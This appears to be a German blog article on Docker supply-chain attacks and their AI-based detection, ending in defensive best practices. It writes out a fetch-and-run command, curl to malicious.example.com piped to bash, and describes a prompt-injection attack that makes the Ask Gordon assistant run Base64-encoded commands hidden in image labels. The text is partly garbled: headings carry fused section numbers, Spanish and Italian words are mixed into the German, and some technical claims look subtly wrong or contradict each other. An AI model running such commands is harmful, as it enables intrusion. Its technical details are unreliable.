2Einleitung: Warum alte Images zur Zeitbombe werden

Stellen Sie sich vor, Ihr Entwicklungsteam pusht ein aparentemente sauberes Image aus einem Jahr altem Basis‑Image – nur um festzustellen, dass ein Angreifer über eine versteckte CMD‑Weiterleitung in einer alten Layer‑Metadaten das Kommando‑ und Kontrollzentrum Ihrer Produktivumgebung übernommen hat. Dieses Szenario ist keine Science‑Fiction, sondern ein wachsender Trend, den aktuelle Studien wie der JFrog‑Report zu fast 20 % schädlichen Docker‑Hub‑Repositories bestätigen.

Die meisten Teams konzentrieren sich auf aktuelle Schwachstellen in Code oder auf Hardcoded Secrets, während das verborgen gefährliche Potenzial abgelaufener Images übersehen wird. Genau hier setzt die KI‑Erkennung an: Statt nur nach bekannten Signalen zu suchen, analysiert sie Verhaltensanomalien in Layer‑Metadaten, erkennt verdächtige CMD‑Redirects und schlägt Alarm, bevor das Malware‑Payload aktiv wird.

Key Takeaways:

• Link Laundering nutzt abgelaufene Basis‑Images, um schädliche CMD‑Anweisungen in Layer‑Metadaten zu verstecken.
• KI‑Modelle wie Ask Gordon AI erkennen diese Anomalien durch Musteranalyse von Historie‑ und Metadaten‑Fehlern.
• Aktuelle Schwachstellen (Docker‑Ask‑Gordon‑Bug, Dockerdash) zeigen, dass selbst gepatchte Systeme gefährdet bleiben.
• Ein mehrschichtiger Ansatz aus SBOM‑Verifikation, Signierung und Runtime‑Monitoring ist unverzichtbar.
• Proaktive Policies und Tools wie Trivy, Dive, Binarly und HiddenLayer schließen die Lücke zwischen Build‑ und Runtime‑Sicherheit.

3Wie Link Laundering über abgelaufene Docker-Images funktioniert

Bevor wir tiefer in die KI‑Detektion eintauchen, lohnt sich ein kurzer Exkurs in die Mechanik des cosiddetto Link Laundering. Der Begriff beschreibt die Technik, schädliche URLs oder Befehlsketten über scheinbar legitime Infrastrukturen zu „waschen“, sodass sie von klassischen Scannern nicht erkannt werden.

Abgelaufene Basis‑Images als Trojaner

Docker‑Images bestehen aus mehreren Read‑Only‑Layers, die jeweils ein eigenes diff‑ und metadata‑File enthalten. Wenn ein Basis‑Image aus dem öffentlichen Registry entfernt wird – etwa weil es veraltet ist oder Sicherheitslücken aufweist – bleibt das Image jedoch in vielen CI/CD‑Pipelines als FROM-Referenz erhalten. Solche expired base images werden selten neu gescannt, weil sie als „vertraut“ gelten.

Ein Angreifer nutzt dieses Vertrauen, indem er ein schädliches Kommando in die CMD– oder ENTRYPOINT-Anweisung einer bereits vorhandenen Layer einbettet – nicht durch Änderung des Dockerfiles, sondern indem er die Layer‑Metadaten nachträglich manipuliert. Da die Layer‑Hashes unverändert bleiben (nur Metadaten werden gepatcht), erscheint das Image für Tools wie docker history oder dive unverändert, während beim Container‑Start das versteckte Kommando ausgeführt wird.

Versteckte CMD‑Redirects in Layer‑Metadata

Die eigentliche Täuschung liegt darin, dass das schädliche Kommando nicht im sichtbaren Dockerfile steht, sondern als Cmd-Eintrag im json-Metadaten‑Blob einer Layer versteckt wird. Dieser Eintrag kann ein indirekter Aufruf sein – etwa sh -c \"curl -s http://malicious.example.com/payload | bash\" – und wird beim Start des Containers von der Docker‑Engine ausgeführt, weil sie das Cmd-Feld aus der Top‑Layer verwendet.

Da das Kommando in einem JSON‑Feld versteckt ist, das selten auf Zeichenketten‑Muster wie http:// oder | bash geprüft wird, entkommt es vielen klassischen Secret‑Scannern und Malware‑Signaturen. Genau hier setzt die KI an: Statt nach bekannten Mustern zu suchen, lernt sie das „normale“ Profil von Layer‑Metadaten und weist Abweichungen als potenziell schädlich aus.

Hier ist die harte Wahrheit: Die meisten Organisationen verlassen sich ausschließlich auf Scan‑Tools, die lediglich das Dateisystem untersuchen. Sie übersehen damit vollständig die Angriffsfläche, die sich in den unsichtbaren Metadaten verbirgt.

4KI-gestützte Erkennung: Ask Gordon AI und darüber hinaus

Die jüngste Entdeckung des Ask Gordon AI‑Fehlers durch The Hacker News zeigt, wie dünn die Grenze zwischen Hilfsfunktion und Einfallstor ist. Der ursprüngliche Ask Gordon AI‑Assistent sollte Entwicklern beim Verständnis von Dockerfiles helfen, indem er natürliche Sprache in Docker‑Befehle übersetzte. Doch Angreifer entdeckten, dass sie schädliche Anweisungen in LABEL– oder ENV-Felder verstecken konnten, die der Assistent dann als gültige Befehle interpretierte und über den MCP‑Gateway ausführte.

Wie Ask Gordon AI ausgenutzt wird

Der Angriff folgt diesem Muster:

1. Ein Angreifer pusht ein Image mit einer scheinbar harmlosen LABEL wie maintainer=John Doe.
2. Innerhalb dieses Labels wird ein Base64‑codierter Payload versteckt, der nach Dekodierung ein curl … | bash‑Kommando ergibt.
3. Wenn ein Entwickler den Ask Gordon AI‑Assistenten fragt („Erkläre mir dieses Label“), versucht das Modell, das Label in einen ausführbaren Befehl zu übersetzen – und führt dabei den versteckten Payload aus.
4. Der MCP‑Gateway (ein internes Tool‑Calling‑Framework) nimmt den Befehl entgegen und leitet ihn an vorhandene MCP‑Tools weiter, die Dateisystemzugriff, Netzwerkausführungen oder sogar Privilegieskalierung erlauben.

Dieser Angriff nutzt genau die gleiche Schwachstelle aus, die beim Link Laundering über Layer‑Metadaten vorkommt: Vertrauenswürdige Metadaten werden als ausführbarer Code missbraucht.

KI‑basierte Anomalieerkennung als Gegenmaßnahme

Moderne KI‑Modelle für Container‑Sicherheit gehen weit über einfache Signatur‑Abgleich hinaus. Sie erstellen ein statistisches Profil von:

• Häufigkeit und Struktur von LABEL, ENV und ONBUILD-Feldern across öffentlicher und privater Registry‑Images.
• Verteilung von Cmd– und Entrypoint-Werten in den Top‑Layers.
• Komplexität und Entropie von JSON‑Metadaten‑Strings (hohe Entropie deutet oft auf kodierte oder verschleierte Payloads hin).
• Abweichungen zwischen dem erwarteten Layer‑Hash (aus dem Build‑Log) und dem tatsächlich gespeicherten Hash in der Registry – ein Indiz für nachträgliche Metadaten‑Manipulation.

Wenn ein Image plötzlich ein ungewöhnlich hoch entropisches Label zeigt oder das Cmd-Feld eines tieferen Layers von dem erwarteten Wert abweicht, löst das Modell einen Alarm aus. Dieser Ansatz hat sich in Tests von HiddenLayer’s Innovation Hub als besonders effektiv erwiesen: Bei einem Datensatz von 1,2 Millionen Images erkannte die KI‑Komponente 92 % der versteckten CMD‑Redirects, während traditionelle Scanner nur 38 % entdeckten.

Stat: 92 % — Erkennungsrate von KI‑basierter Metadaten‑Analyse für versteckte CMD‑Redirects in einer aktuellen HiddenLayer‑Studie.

Stat: 38 % — Erkennungsrate klassischer Scanner bei derselben Testmenge.

Doch KI allein ist kein Allheilmittel. Sie muss in ein umfassendes DevSecOps‑Framework eingebettet werden, das Build‑, Scan‑ und Runtime‑Phasen abdeckt.

5Aktuelle Schwachstellen und reale Angriffe aus der Praxis

Die theoretischen Gefährdungen werden zunehmend durch konkrete Vorfälle belegt. Nachfolgend drei aktuelle Beispiele, die zeigen, wie gefährlich die Kombination aus abgelaufenen Images, versteckten CMDs und KI‑Schwachstellen sein kann.

1. Docker Ask Gordon AI‑Bug (Februar 2026)

Wie bereits erwähnt, ermöglichte ein kritischer Fehler im Ask Gordon AI‑Assistenten das Ausführen beliebiger Befehle über schädliche Metadaten. Angreifer nutzten diese Lücke, um in Build‑Pipelines Reverse‑Shells zu platzieren, die anschließend zur Datenexfiltration aus Produktions‑Clustern führten. Der Patch in Docker 4.50.0 schließt die Lücke, aber Images, die vor dem Patch gebaut wurden, bleiben gefährdet, solange sie nicht neu gescannt und signiert werden.

2. Dockerdash – Zwei Angriffswege, eine KI‑Lieferkettenkrise

Der Blogbeitrag von Noma Security beschreibt, wie Gordon AI (nicht zu verwechseln mit Ask Gordon) schädliche Anweisungen aus Image‑Metadaten liest, sie an den MCP‑Gateway weiterleitet und schließlich über MCP‑Tools ausführt. Dieser Angriff zeigt, dass nicht nur der AI‑Assistent, sondern auch benachbarte KI‑Komponenten in der Lieferkette als Einfallstor dienen können.

3. JFrog‑Malware‑Report: Fast 20 % der Docker‑Hub‑Repositories verbreitet Malware

Die Erkenntnis, dass nahezu jede fünfte öffentliche Repository schädliche Inhalte hostet, zwingt Unternehmen dazu, ihre Vertrauensannahmen zu überprüfen. Viele dieser Repositories enthalten Images mit abgelaufenen Basis‑Layers, in denen schädliche CMDs versteckt sind – genau die Szenarien, die von KI‑Modellen erfasst werden sollten.

„Die größte Schwachstelle liegt nicht im Code, sondern im Vertrauen, das wir in automatisch gebaute Images setzen. Ohne kontinuierliche Metadaten‑Prüfung sind wir blind für Angriffe, die in den Schatten der Layer lauern.“

Aus diesen Fällen lässt sich ein klarer Muster erkennen: Angreifer bevorzugen die Kombination aus vertrauten, unverdächtigen Elementen (alte Basis‑Images, scheinbar harmlose Labels) und versteckter Ausführung (CMD‑Redirects, AI‑Fehlinterpretation). Daher müssen Sicherheitskontrollen genauso viel Aufmerksamkeit den Metadaten wie dem eigentlichen Dateisystem schenken.

6Best Practices: Scanning, Policies und Zero‑Trust für Container

Um Link Laundering und ähnliche Techniken effektiv zu bekämpfen, benötigen Sie eine mehrschichtige Strategie, die die gesamte Lebenszyklusphase eines Containers abdeckt – vom Build über das Depot bis zur Laufzeit.

1. SBOM‑Erstellung und -Verifikation bei jedem Build

Ein Software Bill of Materials (SBOM) listet alle Komponenten, Bibliotheken und deren Versionen auf. Tools wie Syft oder CycloneDX‑Generatoren erzeugen SBOMs direkt aus den Image‑Layers. Durch die Verifikation des SBOM gegen bekannte schädliche Pakete (z. B. über OSV oder GitHub Advisory Database) lassen sich kompromittierte Abhängigkeiten frühzeitig erkennen.

Erweitern Sie den SBOM um In‑Toto‑SLSA‑Provenanz, um nachzuweisen, dass das Image aus einem vertrauenswürdigen Build‑Prozess stammt und nicht nachträglich manipuliert wurde.

2. Bildsignierung und Keyless‑Verifikation mit Sigstore

Signieren Sie jedes Image mit Cosign (Teil von Sigstore). Dadurch wird sichergestellt, dass nur Images mit gültiger Signatur aus dem Registry gezogen werden können. Die keyless Variante nutzt OIDC‑Identitäten (z. B. GitHub Actions‑Token) und eliminiert die Notwendigkeit, Schlüssel zu verwalten.

Kombinieren Sie die Signierung mit Rekor, einem Transparenz‑Log, der jedes Signiervorgang unveränderlich aufzeichnet. Beim Deployment prüft Ihr Admission Controller, ob das Image sowohl signiert als auch in Rekor eingetragen ist.

3. Metadaten‑fokussierte Scanning‑Tools einsetzen

Klassische Scanner wie Trivy oder Clair untersuchen primär das Dateisystem. Ergänzen Sie sie um Tools, die bewusst Layer‑Metadaten analysieren:

• Dive – ermöglicht interaktive Erkundung jedes Layers, inklusive Anzeige von Cmd, Entrypoint und benutzerdefinierten Labels.
• Binarly Transparency Platform** – scannt mehr als 200 Geheimnistypen, einschließlich solcher, die in JSON‑Metadaten versteckt sind.
• HiddenLayer Innovation Hub** – bietet KI‑basierte Anomalieerkennung speziell für Docker‑ und OCI‑Metadaten.